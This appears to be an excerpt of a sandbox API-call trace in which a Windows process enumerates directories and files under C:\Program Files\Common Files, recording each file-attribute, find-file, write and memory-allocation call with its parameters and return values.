	[0240.771] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files" (normalized: "c:\\program files\\common files"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4aadd873, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0240.772] CreateFileW (lpFileName="C:\\Program Files\\Common Files" (normalized: "c:\\program files\\common files"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.772] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4aadd873, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd640
	[0240.772] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4aadd873, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0240.772] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4aab75fe, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0xa0417b85, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESIGNER", cAlternateFileName="")) returned 1
	[0240.772] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa04663f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft shared", cAlternateFileName="MICROS~1")) returned 1
	[0240.772] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1
	[0240.772] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1
	[0240.773] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0240.773] FindClose (in: hFindFile=0x192c63cd640 | out: hFindFile=0x192c63cd640) returned 1
	[0240.773] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x37, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.773] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER" (normalized: "c:\\program files\\common files\\designer"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4aab75fe, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0xa0417b85, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0240.775] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER" (normalized: "c:\\program files\\common files\\designer"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.775] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\*", lpFindFileData=0xc0000316f8 | out: lpFindFileData=0xc0000316f8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4aab75fe, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0xa0417b85, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cda60
	[0240.775] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000031728 | out: lpFindFileData=0xc000031728*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4aab75fe, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0xa0417b85, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0240.775] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000031728 | out: lpFindFileData=0xc000031728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c8c3a00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4aadd873, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5c8c3a00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x3e70, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.OLB", cAlternateFileName="")) returned 1
	[0240.775] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000031728 | out: lpFindFileData=0xc000031728*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0240.775] FindClose (in: hFindFile=0x192c63cda60 | out: hFindFile=0x192c63cda60) returned 1
	[0240.778] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0240.778] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb"), fInfoLevelId=0x0, lpFileInformation=0xc000031868 | out: lpFileInformation=0xc000031868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c8c3a00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4aadd873, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5c8c3a00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x3e70)) returned 1
	[0240.783] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x4f, lpNumberOfBytesWritten=0xc00003181c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00003181c, lpOverlapped=0x0) returned 0
	[0240.783] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Services" (normalized: "c:\\program files\\common files\\services"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0240.784] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services" (normalized: "c:\\program files\\common files\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.784] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Services\\*", lpFindFileData=0xc0000316f8 | out: lpFindFileData=0xc0000316f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd640
	[0240.785] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031728 | out: lpFindFileData=0xc000031728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0240.785] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031728 | out: lpFindFileData=0xc000031728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440ad34a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440ad34a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440ad34a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 1
	[0240.785] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031728 | out: lpFindFileData=0xc000031728*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0240.785] FindClose (in: hFindFile=0x192c63cd640 | out: hFindFile=0x192c63cd640) returned 1
	[0240.785] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0240.785] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), fInfoLevelId=0x0, lpFileInformation=0xc000031868 | out: lpFileInformation=0xc000031868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440ad34a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440ad34a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440ad34a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa8e)) returned 1
	[0240.804] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x4f, lpNumberOfBytesWritten=0xc00003181c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00003181c, lpOverlapped=0x0) returned 0
	[0240.804] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x3d, lpNumberOfBytesWritten=0xc00003181c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00003181c, lpOverlapped=0x0) returned 0
	[0240.804] SetEvent (hEvent=0x1a0) returned 1
	[0240.804] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System" (normalized: "c:\\program files\\common files\\system"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0240.852] VirtualAlloc (lpAddress=0xc0003ea000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003ea000
	[0240.853] VirtualAlloc (lpAddress=0xc0003ec000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003ec000
	[0240.853] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System" (normalized: "c:\\program files\\common files\\system"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.853] VirtualAlloc (lpAddress=0xc0003ee000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003ee000
	[0240.854] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\*", lpFindFileData=0xc0000316f8 | out: lpFindFileData=0xc0000316f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd520
	[0240.877] VirtualAlloc (lpAddress=0xc0003f0000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003f0000
	[0240.877] FindNextFileW (in: hFindFile=0x192c63cd520, lpFindFileData=0xc000031728 | out: lpFindFileData=0xc000031728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0240.878] FindNextFileW (in: hFindFile=0x192c63cd520, lpFindFileData=0xc000031728 | out: lpFindFileData=0xc000031728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0cb0a3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ado", cAlternateFileName="")) returned 1
	[0240.878] FindNextFileW (in: hFindFile=0x192c63cd520, lpFindFileData=0xc000031728 | out: lpFindFileData=0xc000031728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1
	[0240.878] FindNextFileW (in: hFindFile=0x192c63cd520, lpFindFileData=0xc000031728 | out: lpFindFileData=0xc000031728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb3579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0240.878] VirtualAlloc (lpAddress=0xc0003f4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003f4000
	[0240.878] FindNextFileW (in: hFindFile=0x192c63cd520, lpFindFileData=0xc000031728 | out: lpFindFileData=0xc000031728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadc", cAlternateFileName="")) returned 1
	[0240.878] FindNextFileW (in: hFindFile=0x192c63cd520, lpFindFileData=0xc000031728 | out: lpFindFileData=0xc000031728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1
	[0240.878] FindNextFileW (in: hFindFile=0x192c63cd520, lpFindFileData=0xc000031728 | out: lpFindFileData=0xc000031728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440d35a9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440d35a9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440d35a9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32.dll", cAlternateFileName="")) returned 1
	[0240.878] FindNextFileW (in: hFindFile=0x192c63cd520, lpFindFileData=0xc000031728 | out: lpFindFileData=0xc000031728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440d35a9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440d35a9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440d35a9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeb600, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 1
	[0240.878] FindNextFileW (in: hFindFile=0x192c63cd520, lpFindFileData=0xc000031728 | out: lpFindFileData=0xc000031728*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0240.879] FindClose (in: hFindFile=0x192c63cd520 | out: hFindFile=0x192c63cd520) returned 1
	[0240.881] VirtualAlloc (lpAddress=0xc0003f6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003f6000
	[0240.881] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0240.881] VirtualAlloc (lpAddress=0xc0003f8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003f8000
	[0240.882] VirtualAlloc (lpAddress=0xc0003fa000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003fa000
	[0240.882] VirtualAlloc (lpAddress=0xc0003fc000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003fc000
	[0240.883] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\DirectDB.dll" (normalized: "c:\\program files\\common files\\system\\directdb.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031868 | out: lpFileInformation=0xc000031868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8000)) returned 1
	[0240.893] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x4d, lpNumberOfBytesWritten=0xc00003181c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00003181c, lpOverlapped=0x0) returned 0
	[0240.893] VirtualAlloc (lpAddress=0xc0003fe000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003fe000
	[0240.894] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB" (normalized: "c:\\program files\\common files\\system\\ole db"), fInfoLevelId=0x0, lpFileInformation=0xc000031868 | out: lpFileInformation=0xc000031868*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0240.896] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB" (normalized: "c:\\program files\\common files\\system\\ole db"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.896] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\*", lpFindFileData=0xc000031620 | out: lpFindFileData=0xc000031620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0240.905] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031650 | out: lpFindFileData=0xc000031650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0240.905] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031650 | out: lpFindFileData=0xc000031650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d8245b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0240.905] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031650 | out: lpFindFileData=0xc000031650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x18600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1
	[0240.905] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031650 | out: lpFindFileData=0xc000031650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x5be00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaps.dll", cAlternateFileName="")) returned 1
